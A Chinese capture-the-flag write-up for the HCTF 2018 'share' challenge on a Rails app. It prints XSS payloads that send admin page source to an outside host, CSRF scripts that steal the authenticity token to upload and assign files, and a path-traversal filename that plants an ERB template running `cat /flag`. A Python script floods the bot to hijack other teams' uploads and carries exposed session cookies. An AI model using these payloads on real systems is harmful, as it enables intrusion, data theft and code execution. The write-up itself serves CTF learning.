本文首发先知社区,文章链接:https://xz.aliyun.com/t/3258
这次比赛感觉比较有意思的一道题。2019 HCTF-share
描述
I have built an app sharing platform, welcome to share your favorite apps for everyone
hint1:https://paste.ubuntu.com/p/VfJDq7Vtqf/
Alpha_test code:https://paste.ubuntu.com/p/qYxWmZRndR/
hint2:
<%= render template: "home/"+params[:page] %>
in root_path
hint3: based ruby 2.5.0
URL
http://share.2018.hctf.io
基准分数 1000.00
当前分数 965.54
完成队伍数 1
开始做这道题,本来是因为疑似XSS,勾起了自己的兴趣。没想到越往后越坑。ruby真心没见过。最终耗时27小时,终于搞出来了,话说一血还是很开心的。
解题
首先分析一波整到题目,按照题目描述,这个网站是用来共享应用的。
首先用户可以向管理员反馈建议,让管理员将某应用加到网站上。
然后管理员页面会有上传应用到网站上,以及将某应用下发给某人进行测试。
主要页面如下:
用户:
应用展示页:http://share.2018.hctf.io/home/publiclist
测试应用页:http://share.2018.hctf.io/home/Alphatest(管理员未下发应用时为空)
反馈建议页:http://share.2018.hctf.io/home/share
通过用户反馈页面,可以尝试插入xss。在这里用img进行测试:
1
| <img src=//eval.com:2222>
|
然后在eval.com进行监听。
成功收到回显,可以得知采用PhantomJS作为bot,然后尝试读取后台源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function send(e) { var t = new XMLHttpRequest; t.open("POST", "//eval.com:2017", !0), t.setRequestHeader("Content-type", "text/plain"), t.onreadystatechange = function() { 4 == t.readyState && t.status }, t.send(e); } function getsource(src){ var t = new XMLHttpRequest; t.open("GET", src, !0), t.setRequestHeader("Content-type", "text/plain"), t.onreadystatechange = function() { 4 == t.readyState && t.status }, t.onload=function(e){ send(e.target.responseText); } t.send(); } getsource("/home/publiclist");
|
通过后台源码可以发现管理员页面。
管理员:
上传应用页:http://share.2018.hctf.io/home/upload
下发应用页:http://share.2018.hctf.io/home/addtest
至此,可以猜测完整利用链为如下:
CSRF上传shell –> CSRF将文件下发到用户端 –> 用户端获得shell链接 –> GET Shell
一开始,按正常逻辑,写出upload的exp, 经本地测试完全可用。然而打过去之后,发现一直报错500。尝试下发的时候,也是500。
真心难受,最后实在受不了问出题人,他说他的payload没问题,可以用的。
最后,在自己和题目的磨磨唧唧中,队友发来了robots.txt里有代码。然后…心态有点炸。就顾xss了,竟然忘了渗透的基本要素,逮到网站先扫扫。
拿到upload的源码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| def upload if(params[:file][:myfile] != nil && params[:file][:myfile] != "") file = params[:file][:myfile] name = Base64.decode64(file.original_filename) ext = name.split('.')[-1] if ext == name || ext ==nil ext="" end share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload") share.write(Base64.decode64(file.read)) share.close File.rename(share.path,share.path+"."+ext) tmp = Sharefile.new tmp.public = 0 tmp.path = share.path tmp.name = name tmp.tempname= share.path.split('/')[-1]+"."+ext tmp.context = params[:file][:context] tmp.save end redirect_to root_path end
|
可以发现此处上传的文件名和文件内容,都会经过base64解码,所以此时需要修改一下。
最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| function send(e) { var t = new XMLHttpRequest; t.open("POST", "//eval.com:2017", !0), t.setRequestHeader("Content-type", "text/plain"), t.onreadystatechange = function() { 4 == t.readyState && t.status }, t.send(e); } function submitRequest(authenticity_token) { authenticity_token = authenticity_token.replace(/\+/g, "%2b"); var xhr = new XMLHttpRequest(); xhr.open("POST", "/file/upload", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP"); xhr.withCredentials = "true"; var body = "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" + "Content-Disposition: form-data; name=\"utf8\"\r\n" + "\r\n" + "%E2%9C%93\r\n"+ "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" + "Content-Disposition: form-data; name=\"authenticity_token\"\r\n" + "\r\n" + authenticity_token + "\r\n" + "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" + "Content-Disposition: form-data; name=\"file[context]\"\r\n" + "\r\n" + "1\"\r\n" + "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" + "Content-Disposition: form-data; name=\"file[myfile]\"; filename=\"PD9waHAgcGhwaW5mbygpOyA/Pg==\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "PCU9YGNhdCAvZmxhZ2AlPg==\r\n" + "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP--\r\n"+
"Content-Disposition: form-data; name=\"commit\"\r\n" + "\r\n" + "submit\r\n" + "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.onload=function(evt){ var data = evt.target.responseText; send(data); } xhr.send(new Blob([aBody])); } function gettoken(){ var t = new XMLHttpRequest; t.open("GET", "/home/upload", !0), t.setRequestHeader("Content-type", "text/plain"), t.onreadystatechange = function() { 4 == t.readyState && t.status }, t.onload=function(evt){ var data = evt.target.responseText; regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g; submitRequest(regex.exec(data)[1]); } t.send(); } gettoken();
|
此时可以成功上传文件,可以在Alphatest页面,查看到当前总文件数。
然后通过CSRF构造下发。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| function send(e) { var t = new XMLHttpRequest; t.open("POST", "//eval.com:2017", !0), t.setRequestHeader("Content-type", "text/plain"), t.onreadystatechange = function() { 4 == t.readyState && t.status }, t.send(e); } function submitRequest(authenticity_token) { authenticity_token = authenticity_token.replace(/\+/g, "%2b"); var xhr = new XMLHttpRequest(); xhr.open("POST", "/file/Alpha_test", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.setRequestHeader("Referer", "http://share.2018.hctf.io/home/addtest"); xhr.setRequestHeader("Origin", "http://share.2018.hctf.io"); xhr.onload=function(evt){ var data = evt.target.responseText; send(data); } xhr.send("utf8=%E2%9C%93&authenticity_token="+authenticity_token+"&uid=30&fid=42&commit=submit"); } function gettoken(){ var t = new XMLHttpRequest; t.open("GET", "/home/addtest", !0), t.setRequestHeader("Content-type", "text/plain"), t.onreadystatechange = function() { 4 == t.readyState && t.status }, t.onload=function(evt){ var data = evt.target.responseText; regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g; submitRequest(regex.exec(data)[1]); } t.send(); } gettoken();
|
依旧一直报500,当时很懵,然后电脑刚好没电,没有继续试下去。也没好意思再问主办方,毕竟之前是自己没看源码。
第二天一早醒来…
吃瓜的我,感觉到一股深深的恶意….
接着再试就可以了。此时成功拿到自己上传的文件。然而…有个卵用。
ruby的环境,出题人肯定没有配置PHP解析。然后…该如何是好。恰好中午主办方放出了hint
1
| <%= render template: "home/"+params[:page] %>
|
可以很明了的看出来,需要通过上传模板,然后进行包含。但是查询资料发现如下。
也就是说,上传文件,必须上传到/app/views/home目录下。此时才可以进行包含。
话说之前一直傻在这里了,否则早就出了。先说下正确做法吧。
1 2 3
| 文件名:../../app/views/home/test.erb
文件内容:<%=`cat /flag`%>
|
编码后上传即可。此时便实现了跨目录上传。然后获取到文件名后,通过
1
| http://share.2018.hctf.io/home?page=te20181110-328-zexae3
|
即可成功包含,获取flag。
搅屎
做完题目后,在和出题人沟通时,意外得知了一个好玩的。
fid只可以给一次,那么,我可以通过监听,来做到,只要出现新文件,立马给到我的账号。这样别人永远无法获得上传文件。想法很棒,但是现实却很真实,自己第二天写wp才想到要搅屎,此时复现时发现有一个队在做。加紧写出了搅屎代码。然而没卵用,刚写好,跑起来。看见那边二血已经到手。
但最后还是再服务器跑着,以防三血诞生。但是,好像并没有人继续做下去了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| import requests import re import time
payload=""" <script>function send(e) { var t = new XMLHttpRequest; t.open("POST", "//139.199.107.193:2017", !0), t.setRequestHeader("Content-type", "text/plain"), t.onreadystatechange = function() { 4 == t.readyState && t.status }, t.send(e); } function submitRequest(authenticity_token) { authenticity_token = authenticity_token.replace(/\+/g, "%2b"); var xhr = new XMLHttpRequest(); xhr.open("POST", "/file/Alpha_test", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.setRequestHeader("Referer", "http://share.2018.hctf.io/home/addtest"); xhr.setRequestHeader("Origin", "http://share.2018.hctf.io"); xhr.onload=function(evt){ var data = evt.target.responseText; send(data); } xhr.send("utf8=%E2%9C%93&authenticity_token="+authenticity_token+"&uid={{uid}}}&fid={{fid}}&commit=submit"); } function gettoken(){ var t = new XMLHttpRequest; t.open("GET", "/home/addtest", !0), t.setRequestHeader("Content-type", "text/plain"), t.onreadystatechange = function() { 4 == t.readyState && t.status }, t.onload=function(evt){ var data = evt.target.responseText; regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g; submitRequest(regex.exec(data)[1]); } t.send(); } gettoken();</script>
""" headers={ "Cookie": "_ga=GA1.2.1234049971.1541560268; _gid=GA1.2.395925356.1541764703; _hctf_session=IDl7oRVicLrzfQVGJ32JMMAL%2FkFQRZIqFGC4Az6xEzV2PW%2FG5JHNkaPTCL8McBALbeLexyWC9ltWt%2FU0XAbxnEihvGIQnvvZagnW%2F1I37tAXwbmKG9XUlOp2tkeXTNfVYIIhhzQGiFbfUFFhf2n%2BGRrcw9eu7Tnyn89bsI4fZCvSYgRrZCJJaZGJ%2BaDH8sFoaB1n1spPkQ7%2BHZoCdFdGN9PLPKWv9It3G5UL--FtVXtYfT0mQLejyc--cPeuwvnr0YSug5Ie0XwZCA%3D%3D" } def sendshi(uid,fid):
headers={ "Cookie": "_ga=GA1.2.1234049971.1541560268; _gid=GA1.2.395925356.1541764703; _hctf_session=Zt95n%2BqsePGzFV500lXzBLPBbtLVXQNhqypxEw%2Bw%2BrP9Pko9k%2B9jcXuB15FZ27ahSD18NhwxMn2dU7vT9U4GUy%2FIK1Ph2XxeYXNImY36jCqhjYfAlmzIy7hmBkU4MUxC9Y54%2FYCY9s6NOYACi1ZOeXBUmIlw8f1d6TyKQBmn4pRbQkiSRWRRFezqPS8iKpZ%2Bl4B7ZLnwZPky7NC%2BvUTGk5YjTpMZIAdITA88--WH67dwY%2FiXpMn013--hYBC7B4fWamLvU9%2BxFJCAw%3D%3D" } url="http://share.2018.hctf.io/recommend/to_admin" data={ "utf8":"%E2%9C%93", "authenticity_token":"sK5IwUnkg2m2dVlQHb3DH4/XRQnHlz2BFWz7fEFSYSFhRjtL3cqWBJLd8+qrKwRzSe+4+nQ/lt8NlACosshm9g==", "context":payload.replace("{{uid}}",uid).replace("{{fid}}",fid), "url":"", "commit":"submit" } r = requests.post(url,data=data,headers=headers,timeout=3) print r.status_code
url="http://share.2018.hctf.io/home/Alphatest" fid=0 uid=0
while(1): try: r=requests.get(url,headers=headers,timeout=3) pattern = re.compile(r'file number:(\d+) your uid: (\d+)') result1 = pattern.findall(r.text) if(fid != result1[0][0]): fid=result1[0][0] uid=result1[0][1] else: time.sleep(1) print(result1) contine sendshi(result1[0][1],result1[0][0]) time.sleep(1) except: time.sleep(1)
|
两个不明白的地方
Tempfile跨目录 (SOLVED)
自己之前一直在纠结可能有其他点,因为之前自己测试的时候,通过../会导致500错误。可能也是因为那一夜,自己有点懵。被500吓怕了。所以往后一直在通过自己本地ruby来测试如何绕过。
测试期间发现。
1
| share = Tempfile.new(name,path)
|
其中path中,可以用../跨目录,但是name中的斜杠,会被自动删掉,很迷。
然而题目中的可控点又是在name中。
1 2 3 4 5 6
| name = Base64.decode64(file.original_filename) ext = name.split('.')[-1] share = Tempfile.new( name.split('.'+ext)[0], Rails.root.to_s+"/public/upload" )
|
所以导致自己把思路放在了这边,没有再次远程尝试。
甚至还动摇了,怀疑page的点没有找到。
最后才发现自己环境不对,两次测试环境,一次是2.3.7,另一次是2.5.3…..
一开始考虑到可能是这个CVE-2018-6914,但是他描述中写的是目录,也就想当然是我以上那个path。
最后用2.5.0终于复现成功
一键ruby环境….
1
| sudo docker run -dit --rm ruby:2.5.0
|
render template之谜 (SOLVED)
1
| <%= render template: "home/"+params[:page] %>
|
如果正常理解以上代码,就是限制包含home控制器下的文件。
但是事实上按照出题给的hint1
如下两个链接包含后都很迷。
1 2
| http://share.2018.hctf.io/home?page=index http://share.2018.hctf.io/home?page=../layouts/mailer
|
首先是第一个index.html.erb,可以假设理解为他的代码存在问题,导致500。(包含失败也是500)
接下来的第二个就更迷了,既然限制了home,为什么还能跳去layouts。当时有点纠结这个问题,导致思维有点乱,心态也有所干扰。
赛后自己尝试了一下。发现只要是views内的内容都可以进行包含。也就是说那个控制器限定没个卵用,但是必须在视图文件夹内。
那么,可以总结一下。
1 2 3 4 5
| render "path" render file: "path"
render template: "products/show"
|
参考资料